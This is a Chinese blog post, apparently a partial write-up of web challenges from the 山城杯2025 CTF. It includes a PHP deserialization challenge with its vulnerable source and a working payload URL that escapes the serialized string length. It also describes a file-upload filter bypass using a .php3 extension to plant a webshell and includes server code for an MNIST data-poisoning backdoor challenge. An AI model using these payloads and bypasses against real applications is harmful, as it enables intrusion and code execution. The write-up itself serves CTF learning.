山城杯2025-web-部分wp

发布于 9 小时前  6 次阅读


山城杯2025-web-部分wp

唉,上午跑去打下午跑回来考试

没抢到血分最终第五名

奇奇怪怪的命令执行,给我气笑了

贪吃蛇

前端分析js

在js内分析找到胜利后弹出文本

image-20250611103554211

访问23881361886C77CD.php

有个跳转flag.php

image-20250611103725069

其中返回头里面有flag的besa64编码

image-20250611103801137

解码得到

flag:88E3773E766EE1FFD98F3FEBE7D876DB

web4

生成马后上传,通过修改php3后最绕过过滤

php后面随便加个数字也是可被解析为php的

image-20250611104159883

上传后连马

image-20250611104208959

打气球

不明白这种题出两有什么意思

image-20250611104307469

image-20250611104321671

image-20250611104328861

反序列化

image-20250611104355434

<?php @include 'common_ui.inc';?>
<?php
class Low{
    public $user1;
    public $user2;
    function __construct($a, $b){
        $this->user1 = $a;
        $this->user2 = $b;
    }
}

class Mid{
    public $mid;
    function __destruct(){
        $high = 'nice,'.$this->mid;
        echo $high;
    }
}

class High{
    public $high;
    function __toString(){
        //flag.php
        include "flag.php";
        if($this->high=='flag.php')
        {
            echo $flag;
            echo "<br/>";
        }
        return 'good job';
    }
}
if(isset($_GET['a'])&&isset($_GET['b']))
{
    $a = new Low($_GET['a'],$_GET['b']);
    $b = unserialize(str_replace('******', chr(0) . '$' , serialize($a)));
    echo "<br>";
}
else
{
    highlight_file("./index.php");
}

?>

Low实例化后为

O:3:"Low":2:{
  s:5:"user1";s:30:"******************************";
  s:5:"user2";s:71:"";s:5:"user2";O:3:"Mid":1:{s:3:"mid";O:4:"High":1:{s:4:"high";s:8:"flag.php";}};
}

经过str_replace替换发生错位,user2开头被屏蔽,里面的对象被触发,然后就是

Mid->__destruct → High->__toString()

而后触发flag

构造

http://******/?a=******************************&b=%22;s:5:%22user2%22;O:3:%22Mid%22:1:{s:3:%22mid%22;O:4:%22High%22:1:{s:4:%22high%22;s:8:%22flag.php%22;}}

a13b99c99dead28f122d3f0a43d5dd87

命令执行

很幽默抽象的一题,其它什么提示也没,直接试Cimer也没回显,我还在一直试其它的注入点

附一下重邮师傅的wp

8fa96ff6679f5d4854af99df1e014603

AI

没做出来,后面看一下

import numpy as np
import base64
import random
from base64 import b64decode, b64encode
import tensorflow as tf
import time
import warnings

warnings.filterwarnings("ignore")
# from shadow import THRESHOLD_L_0, THRESHOLD_L_1, THRESHOLD_L_2, THRESHOLD_L_INF
from utils import load_mnist_small

(x_train, y_train), (x_test, y_test), _, _ = load_mnist_small()
_sample = 9  # only attack 9 ; reduce your fail rate !

random.seed(time.time())
# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
import socketserver

solid_model = tf.keras.models.load_model("model.h5")

def get_l_norm(data):
    assert data.shape.__len__() == 4
    linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf, axis=1))
    l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0]
    l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1))
    l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1))
    return l0, l1, l2, linf

def get_data(data):
    buffer = data.tobytes()
    return b64encode(buffer)

def load_data(bb64_buffer, FIG_NUMBER=1):
    """
    :param bb64_buffer: user input buffer
    :param FIG_NUMBER: group of reshape data
    :return:
    """
    try:
        patch = np.frombuffer(b64decode(bb64_buffer), dtype=np.float64)
        patch = patch.reshape(FIG_NUMBER, 28, 28, 1)
        print("data load pass")
        return patch
    except Exception as e:
        print(e)
        print("No Hack ! BAD BUFFER")
        return False

def check_is_source(a, b):
    """
    judge whether a
    a.shape (1,28,28,1)
    b.shape (N,28,28,1)
    check if a is from b

    :param a:
    :param b:
    :return: True if same , False if not same
    """
    return not (a == b).all(axis=(1, 2, 3)).any()

def load_data_trunk(i, n=1):
    """
    :return:
    """
    x = np.frombuffer(b64decode(i), dtype=np.float32)
    print(n)
    x = x.reshape((n, 28, 28, 1))
    return x

from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten, Dense
from tensorflow.keras import Sequential

def load_model():
    model = Sequential()
    model.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(28, 28, 1)))
    model.add(Conv2D(64, (3, 3), activation='relu'))
    model.add(MaxPooling2D(pool_size=(2, 2)))
    model.add(Dropout(0.25))
    model.add(Flatten())
    model.add(Dense(128, activation='relu'))
    model.add(Dense(10, activation='softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='adam')
    return model

def get_model_test_acc(model):
    clean_preds = np.argmax(model.predict(x_test), axis=1)
    clean_correct = np.sum(clean_preds == np.argmax(y_test, axis=1))
    clean_total = y_test.shape[0]
    clean_acc = clean_correct / clean_total
    return clean_acc

Y_EXTEND = np.array([[0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.],
                     [0., 0., 0., 0., 0., 0., 0., 0., 0., 1.]], dtype=np.float32)  # 9

def check_is_nine(x, model=None):
    if model is None: model = solid_model
    res = np.argmax(model.predict(x), axis=1)
    return set(res) == {9}

def check_is_eight(x, model=None):
    if model is None: model = solid_model
    res = np.argmax(model.predict(x), axis=1)
    return set(res) == {8}

import flask
import os
from flask import session, request
import time

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
MAX_DELAY_TIME = 360

@app.route('/')
def read():
    return open("main.py").read()

@app.route('/start', methods=('GET',))
def start():
    session['start'] = True
    session['timestamp'] = int(time.time())
    return 'show me 10 figures , they must be recognized as 8 ! "input x data use np.tobytes() function! it will be reshape to (1,784)"'

@app.route('/evaluate', methods=('POST',))
def evaluate():
    if not session['start']: return ""
    if (int(time.time()) - session['timestamp']) >= MAX_DELAY_TIME: return ""

    x_extend = load_data_trunk(request.form.get("fig_buffer"), n=10)
    x_extend_test = load_data_trunk(request.form.get("hack_buffer"), n=1)

    if not check_is_eight(x_extend):
        return "they are not all 8 ! please inform me later"

    # "nice job ! I will extend my dataset , thank you ! please wait for some moment"
    new_model = load_model()
    new_model.fit(np.append(x_train, x_extend, axis=0), np.append(y_train, Y_EXTEND, axis=0),
                  epochs=5, batch_size=8, verbose=0)

    if get_model_test_acc(new_model) <= 0.9399:
        return "Oops , you mustn't make test acc down !"

    if not check_is_nine(x_extend, model=new_model):
        return "Oops , you must send wrong data !"
    else:
        #  "nice job ! I think you inject your backdoor , comme on !"
        if check_is_eight(x_extend_test) and check_is_nine(x_extend_test, model=new_model):
            return "nince job ! here is your flag " + base64.b64encode(open('flag', 'rb').read()).decode()
        else:
            return 'I cannnot found the difference of 8 and 9 in these two models'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=20006)
QQ:2219349024
最后更新于 2025-06-11